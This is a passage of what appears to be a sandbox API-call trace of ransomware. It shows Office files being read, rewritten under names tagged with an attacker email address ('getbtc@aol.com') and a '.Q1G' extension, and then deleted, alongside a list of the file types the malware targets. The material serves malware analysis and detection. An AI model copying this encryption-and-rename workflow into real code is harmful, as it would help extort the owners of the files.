Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0248.809] lstrlenW (lpString=".zip") returned 4 [0248.809] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0248.809] lstrlenW (lpString=".rar") returned 4 [0248.809] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0248.809] lstrlenW (lpString=".bz2") returned 4 [0248.809] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0248.809] lstrlenW (lpString=".7z") returned 3 [0248.809] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0248.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0248.809] lstrlenW (lpString=".dbf") returned 4 [0248.809] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0248.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0248.809] lstrlenW (lpString=".1cd") returned 4 [0248.809] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0248.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0248.809] lstrlenW (lpString=".jpg") returned 4 [0248.809] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0248.810] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0248.810] lstrlenW (lpString="GROOVE_COL.HXT") returned 14 [0248.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.810] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=218) returned 1 [0248.810] CloseHandle (hObject=0x360) returned 1 [0248.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt")) returned 0x20 [0248.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.811] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.811] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.811] GetLastError () returned 0x0 [0248.811] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xda, lpOverlapped=0x0) returned 1 [0248.812] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0248.813] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.813] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0248.813] SetEndOfFile (hFile=0x3c0) returned 1 [0248.813] CloseHandle (hObject=0x3c0) returned 1 [0248.813] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.813] SetEndOfFile (hFile=0x360) returned 1 [0248.815] CloseHandle (hObject=0x360) returned 1 [0248.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt")) returned 1 [0248.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0248.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0248.816] lstrlenW (lpString=".doc") returned 4 [0248.816] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0248.816] lstrlenW (lpString=".docx") returned 5 [0248.816] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0248.816] lstrlenW (lpString=".pdf") returned 4 [0248.816] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0248.816] lstrlenW (lpString=".xls") returned 4 [0248.816] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0248.816] lstrlenW (lpString=".xlsx") returned 5 [0248.816] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0248.816] lstrlenW (lpString=".ppt") returned 4 [0248.816] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0248.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0248.816] lstrlenW (lpString=".zip") returned 4 [0248.816] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0248.816] lstrlenW (lpString=".rar") returned 4 [0248.816] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0248.817] lstrlenW (lpString=".bz2") returned 4 [0248.817] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0248.817] lstrlenW (lpString=".7z") returned 3 [0248.817] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0248.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0248.817] lstrlenW (lpString=".dbf") returned 4 [0248.817] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0248.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0248.817] lstrlenW (lpString=".1cd") returned 4 [0248.817] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0248.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0248.817] lstrlenW (lpString=".jpg") returned 4 [0248.817] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0248.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0248.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0248.817] lstrlenW (lpString=".doc") returned 4 [0248.817] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0248.817] lstrlenW (lpString=".docx") returned 5 [0248.817] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0248.817] lstrlenW (lpString=".pdf") returned 4 [0248.817] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0248.817] lstrlenW (lpString=".xls") returned 4 [0248.817] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0248.817] lstrlenW (lpString=".xlsx") returned 5 [0248.817] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0248.817] lstrlenW (lpString=".ppt") returned 4 [0248.817] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0248.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0248.817] lstrlenW (lpString=".zip") returned 4 [0248.817] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0248.817] lstrlenW (lpString=".rar") returned 4 [0248.817] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0248.817] lstrlenW (lpString=".bz2") returned 4 [0248.817] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0248.817] lstrlenW (lpString=".7z") returned 3 [0248.817] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0248.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0248.818] lstrlenW (lpString=".dbf") returned 4 [0248.818] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0248.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0248.818] lstrlenW (lpString=".1cd") returned 4 [0248.818] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0248.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0248.818] lstrlenW (lpString=".jpg") returned 4 [0248.818] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0248.818] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0248.818] lstrlenW (lpString="GROOVE_F_COL.HXK") returned 16 [0248.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.818] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=111) returned 1 [0248.818] CloseHandle (hObject=0x360) returned 1 [0248.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk")) returned 0x20 [0248.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.819] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.819] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.819] GetLastError () returned 0x0 [0248.819] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x6f, lpOverlapped=0x0) returned 1 [0248.822] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x70, lpOverlapped=0x0) returned 1 [0248.824] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.824] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0248.824] SetEndOfFile (hFile=0x3c0) returned 1 [0248.824] CloseHandle (hObject=0x3c0) returned 1 [0248.824] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.824] SetEndOfFile (hFile=0x360) returned 1 [0248.826] CloseHandle (hObject=0x360) returned 1 [0248.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk")) returned 1 [0248.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0248.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0248.827] lstrlenW (lpString=".doc") returned 4 [0248.827] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.827] lstrlenW (lpString=".docx") returned 5 [0248.827] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.827] lstrlenW (lpString=".pdf") returned 4 [0248.827] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.827] lstrlenW (lpString=".xls") returned 4 [0248.827] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.827] lstrlenW (lpString=".xlsx") returned 5 [0248.828] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.828] lstrlenW (lpString=".ppt") returned 4 [0248.828] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0248.828] lstrlenW (lpString=".zip") returned 4 [0248.828] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.828] lstrlenW (lpString=".rar") returned 4 [0248.828] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.828] lstrlenW (lpString=".bz2") returned 4 [0248.828] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.828] lstrlenW (lpString=".7z") returned 3 [0248.828] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0248.828] lstrlenW (lpString=".dbf") returned 4 [0248.828] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0248.828] lstrlenW (lpString=".1cd") returned 4 [0248.828] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0248.828] lstrlenW (lpString=".jpg") returned 4 [0248.828] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0248.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0248.828] lstrlenW (lpString=".doc") returned 4 [0248.828] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.828] lstrlenW (lpString=".docx") returned 5 [0248.828] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.828] lstrlenW (lpString=".pdf") returned 4 [0248.828] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.828] lstrlenW (lpString=".xls") returned 4 [0248.828] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.828] lstrlenW (lpString=".xlsx") returned 5 [0248.828] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.828] lstrlenW (lpString=".ppt") returned 4 [0248.828] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0248.828] lstrlenW (lpString=".zip") returned 4 [0248.829] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.829] lstrlenW (lpString=".rar") returned 4 [0248.829] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.829] lstrlenW (lpString=".bz2") returned 4 [0248.829] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.829] lstrlenW (lpString=".7z") returned 3 [0248.829] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0248.829] lstrlenW (lpString=".dbf") returned 4 [0248.829] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0248.829] lstrlenW (lpString=".1cd") returned 4 [0248.829] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0248.829] lstrlenW (lpString=".jpg") returned 4 [0248.829] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.829] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0248.829] lstrlenW (lpString="GROOVE_K_COL.HXK") returned 16 [0248.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.829] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=110) returned 1 [0248.829] CloseHandle (hObject=0x360) returned 1 [0248.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk")) returned 0x20 [0248.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.830] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.830] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.830] GetLastError () returned 0x0 [0248.830] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x6e, lpOverlapped=0x0) returned 1 [0248.832] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x70, lpOverlapped=0x0) returned 1 [0248.834] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.834] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0248.834] SetEndOfFile (hFile=0x3c0) returned 1 [0248.834] CloseHandle (hObject=0x3c0) returned 1 [0248.834] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.834] SetEndOfFile (hFile=0x360) returned 1 [0248.836] CloseHandle (hObject=0x360) returned 1 [0248.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk")) returned 1 [0248.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0248.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0248.837] lstrlenW (lpString=".doc") returned 4 [0248.837] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.837] lstrlenW (lpString=".docx") returned 5 [0248.837] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.837] lstrlenW (lpString=".pdf") returned 4 [0248.837] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.837] lstrlenW (lpString=".xls") returned 4 [0248.837] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.837] lstrlenW (lpString=".xlsx") returned 5 [0248.837] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.837] lstrlenW (lpString=".ppt") returned 4 [0248.838] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0248.838] lstrlenW (lpString=".zip") returned 4 [0248.838] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.838] lstrlenW (lpString=".rar") returned 4 [0248.838] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.838] lstrlenW (lpString=".bz2") returned 4 [0248.838] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.838] lstrlenW (lpString=".7z") returned 3 [0248.838] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0248.838] lstrlenW (lpString=".dbf") returned 4 [0248.838] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0248.838] lstrlenW (lpString=".1cd") returned 4 [0248.838] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0248.838] lstrlenW (lpString=".jpg") returned 4 [0248.838] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0248.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0248.838] lstrlenW (lpString=".doc") returned 4 [0248.838] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.838] lstrlenW (lpString=".docx") returned 5 [0248.838] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.838] lstrlenW (lpString=".pdf") returned 4 [0248.838] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.838] lstrlenW (lpString=".xls") returned 4 [0248.838] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.838] lstrlenW (lpString=".xlsx") returned 5 [0248.838] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.838] lstrlenW (lpString=".ppt") returned 4 [0248.838] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0248.838] lstrlenW (lpString=".zip") returned 4 [0248.838] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.838] lstrlenW (lpString=".rar") returned 4 [0248.838] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.839] lstrlenW (lpString=".bz2") returned 4 [0248.839] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.839] lstrlenW (lpString=".7z") returned 3 [0248.839] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0248.839] lstrlenW (lpString=".dbf") returned 4 [0248.839] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0248.839] lstrlenW (lpString=".1cd") returned 4 [0248.839] lstrcmpiW (lpString1=".1cd", 